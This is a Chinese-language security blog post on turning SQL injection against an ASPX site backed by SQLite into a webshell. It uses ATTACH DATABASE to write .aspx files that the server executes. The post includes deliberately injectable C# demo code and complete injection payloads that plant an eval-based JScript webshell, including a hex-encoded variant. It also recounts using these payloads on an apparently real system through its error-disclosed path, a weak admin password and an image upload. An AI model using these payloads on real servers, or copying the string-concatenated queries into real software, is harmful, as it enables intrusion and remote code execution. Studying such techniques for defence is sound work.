0x01 前言
SQLite是一種嵌入式數據庫,它的數據庫就是一個文件。由於SQLite本身是C寫的,而且體積很小,所以經常被集成到各種應用程序中,主要在手機的App中使用。
之前沒有遇到過關於SQLite的注入,這次遇到一個在ASPX中使用SQLite數據庫,並且存在注入。這篇文章將主要介紹一下從注入到獲取WEBSHELL的過程和遇到的一些坑。
首先介紹一下SQLite的使用方法,然后在本地搭建環境以及利用注入獲取WEBSHELL,最后將講述在實際應用中遇到的問題以及如何解決(e.g.手工注入寫shell)。
0x02 SQLite的使用
SQLite 的一個重要的特性是零配置的,這意味着不需要復雜的安裝或管理。在 Windows 上使用SQLite時訪問 SQLite下載頁面,從 Windows 區下載預編譯的二進制文件。現在最新的為sqlite-tools-win32-x86-3190300.zip,下載下來后解壓。我這里將其中的文件復制到D:\sqlite
目錄。
SQLite的語法和其他數據庫差不多,只不過SQLite的數據庫是一個單獨的文件。SQLite創建數據庫的方法有兩種,一種是創建,另外一種是附加。
創建使用命令:sqlite3.exe 數據庫文件名
。例如創建一個名字為aa.db的數據庫,使用命令:sqlite3.exe aa.db
。
附加數據庫的基本語法是:ATTACH DATABASE 'DatabaseName' As 'Alias-Name';
。如果數據庫尚未被創建,這個命令將創建一個數據庫,如果數據庫已存在,則把數據庫文件名稱與邏輯數據庫 ‘Alias-Name’ 綁定在一起。例如附加一個bb.db的數據庫,別名為a,命令為:attach database 'd:\\sqlite\\bb.db' as 'a';
。
創建表並插入數據的命令如下:
create table a.tt(dataz text); INSERT into a.tt(dataz) VALUES ('test');
SQLite還可以生成任意后綴名的數據庫文件。例如創建一個php結尾的數據庫文件,新建一個名為exp的表,並在其中插入數據,內容為:<?php phpinfo();?>
。
具體命令如下:
sqlite>ATTACH DATABASE 'd:\\sqlite\\23.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');--
將生成的數據庫文件23.php放在web目錄,然后訪問。發現數據庫中插入的數據竟被解析了。
同樣的方法生成aspx后綴的數據庫文件,創建表,並插入<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
。然后將該文件放在IIS服務的web目錄。發現其中的APSX代碼也會被解析。
通過查看生成的數據庫文件,發現其中表的內容都以原格式存儲的,這就導致了表中的代碼被解析的原因。接下來將在本地搭建一個ASPX+SQLite的web項目,演示一下如何通過SQL注入獲取WEBSHELL。
0x03 本地環境搭建及獲取SHELL
因為在實際應用中遇到的是.Net開發的web項目,所以這里也以ASPX程序為例。
1.環境搭建和項目的部署
下載安裝 Sqlite ADO.NET,下載后直接安裝即可。安裝后將其中的System.Data.SQLite.DLL文件復制出來,在下面的項目中將會用到(分32和64位,根據自己的環境選擇)。
這里我采用VS2013,新建一個ASP.NET網站,在項目中新建一個Bin文件夾和一個ASPX頁面(這里名稱為Default.aspx),將上面復制出來的System.Data.SQLite.DLL文件放在Bin目錄中。
其目錄結構如圖:
Default.aspx是顯示頁面,其中有一個文本框和按鈕。主要代碼:
1
2
3
4
5
6
|
<form id="form1" runat="server">
<div>
<asp:TextBox ID="TextBox1" runat="server"></asp:TextBox>
<asp:Button ID="Button1" runat="server" OnClick="btn_Click" Text="查詢" />
</div>
</form>
|
Default.aspx.cs是代碼的實現,代碼如下:
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Data.SQLite; public partial class _Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { if (!System.IO.File.Exists(Server.MapPath("~") + "/UserData.dbx")) { SQLiteConnection.ClearAllPools(); SQLiteConnection.CreateFile(Server.MapPath("~") + "/UserData.dbx"); SQLiteConnection conn = new SQLiteConnection("Data Source=" + Server.MapPath("~" + "/UserData.dbx")); conn.Open(); SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = "create table Users (UserID int primary key,UserName varchar(100) not null,UserPassword varchar(100) not null)"; cmd.Connection = conn; cmd.ExecuteNonQuery(); for (int i = 0; i < 100; i++) { cmd.CommandText = "insert into Users (UserID,UserName,UserPassword) values (" + i + ",'TestUser_" + i + "','" + DateTime.Now.ToString().Replace(" ", "-").Replace(":", "-") + "')"; cmd.ExecuteNonQuery(); } conn.Clone(); conn.Dispose(); Response.Write("初始化~~<br />"); } Response.Write("加載成功~~<br />"); } protected void btn_Click(object sender, EventArgs e) { if (TextBox1.Text != ""){ SQLiteConnection.ClearAllPools(); //SQLiteConnection.CreateFile(Server.MapPath("~") + "/UserData.dbx"); SQLiteConnection conn = new SQLiteConnection("Data Source=" + Server.MapPath("~" + "/UserData.dbx")); conn.Open(); SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = "select UserPassword from Users where UserName='" + TextBox1.Text.Trim()+"'"; cmd.Connection = conn; if (cmd.ExecuteScalar() != null) { string tempUserName = cmd.ExecuteScalar().ToString(); Response.Write("查詢結果為:" + tempUserName + "<br /><br />"); } else { Response.Write("無此用戶"); } } else { Response.Write("請輸入查詢內容~~<br />"); } } }
然后將項目部署即可,這就是一個存在注入的項目。接下來就是利用注入來獲取WEBSHELL。
2.SQL注入寫WEBSHELL
當輸入'
時,項目報錯,同時將web絕對路徑暴露出來。
然后就根據上面SQLite創建ASPX格式的數據庫的方式來寫入一個WEBSHELL。
其語句為:
1
|
';ATTACH DATABASE 'c:\\WebSite\\css.aspx' AS pwn ;create TABLE pwn.exp (dataz text) ; insert INTO pwn.exp (dataz) VALUES ('<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>'); --
|
測試環境很順利就通過SQL注入寫入了WEBSHELL,但是在實際測試中並非如此順利。接下來看看在實際應用中遇到的問題以及解決的方法。
0x04 實際中應用中遇到的問題及解決方法
已知:該系統存在SQL注入,數據庫為SQLite,通過報錯發現web項目的絕對路徑。后台存在弱口令,后台可以上傳圖片格式文件。
直接利用SQLite寫aspx文件時,發現可以寫入成功,但是SHELL沒有執行。無法判斷是shell代碼未寫入成功還是未執行成功。然后就先寫個TXT查看shell代碼是否可以寫入成功。
';ATTACH DATABASE 'd:\\********\\web\\24.txt' AS pwn ;create TABLE pwn.exp (dataz text) ; insert INTO pwn.exp (dataz) VALUES ('<%@ Page Language="Jscript"><%eval(Request.Item["pass"],"unsafe");%>'); --
然后直接訪問根目錄下的24.txt文件即可下載,下載后用SQLite數據庫管理工具打開,這里用的是Navicat。
打開發現竟然是空的。然而將shell代碼替換為字符串test
時可以寫入成功。那應該就是寫入的SHELL中含有一些符號所致,這里嘗試了轉義都未能解決。
由於可以找到圖片上傳的入口,所以有這樣一個思路:在本地生成一個格式為jpg的數據庫文件,創建表並寫入SHELL,然后上傳到服務器;在網站上利用注入新建一個txt格式的數據庫,創建表后將圖片格式數據庫的內容插入到txt格式數據庫中。
提示數據庫編碼不一致,那就換另外一種方法。首先在web根目錄生成一個jpg格式的數據庫,創建表后下載;在本地打開后插入數據,之后上傳到服務器;再在網站新建一個ASPX格式的數據庫,創建表后將圖片格式數據庫的內容插入到ASPX格式數據庫中。
1
|
';ATTACH DATABASE 'd:\\********\\web\\fp.jpg' AS pwn;create TABLE pwn.exp(dataz text);--
|
可以成功寫入,但訪問發現插入的ASPX代碼被原樣輸出,SHELL未執行成功。然后來對比一下在web上生成和本地生成的文件有什么區別。
分別在本地和web上生成一個txt格式的數據庫文件,新建表后插入test
。然后對比其內容:
對比后發現網站生成的內容都多了一個空格。
有同事提議說用十六進制試試,然后將shell內容轉換為十六進制后插入。然而在web上測試失敗。
本地測試也失敗。
經過搜索發現,SQLite中十六進制的寫法為:x'....'
,而不是0x....
。
例如<%@ Page Language="Jscript"><%eval(Request.Item["pass"],"unsafe");%>
在SQLite中的十六進制表示為:
x'3c25402050616765204c616e67756167653d224a736372697074223e3c256576616c28526571756573742e4974656d5b2270617373225d2c22756e7361666522293b253e'
成功寫入shell
菜刀連接:
0x05 總結
通過以上的測試過程和實際利用,可以歸納兩點:
1.SQLite可以創建任意格式的數據庫文件,並且插入的代碼可以根據文件格式來解析,這就造成了可以利用這種方式寫WEBSHELL的原因。
2.SQLite中十六進制的寫法為:x'....'
,而不是0x....
。
0x06 參考
[1]http://www.cnblogs.com/xiaozi/p/5760321.html
[2]https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
[3]http://blog.csdn.net/mazhaojuan/article/details/7660657
本文標題:SQLite手工注入Getshell技巧
文章作者:浮萍
發布時間:2017-07-19, 19:07:30
最后更新:2017-07-26, 10:00:30
原始鏈接:http://fuping.site/2017/07/19/SQLite-Injection-Get-WebShell/
許可協議: "署名-非商用-相同方式共享 4.0" 轉載請保留原文鏈接及作者。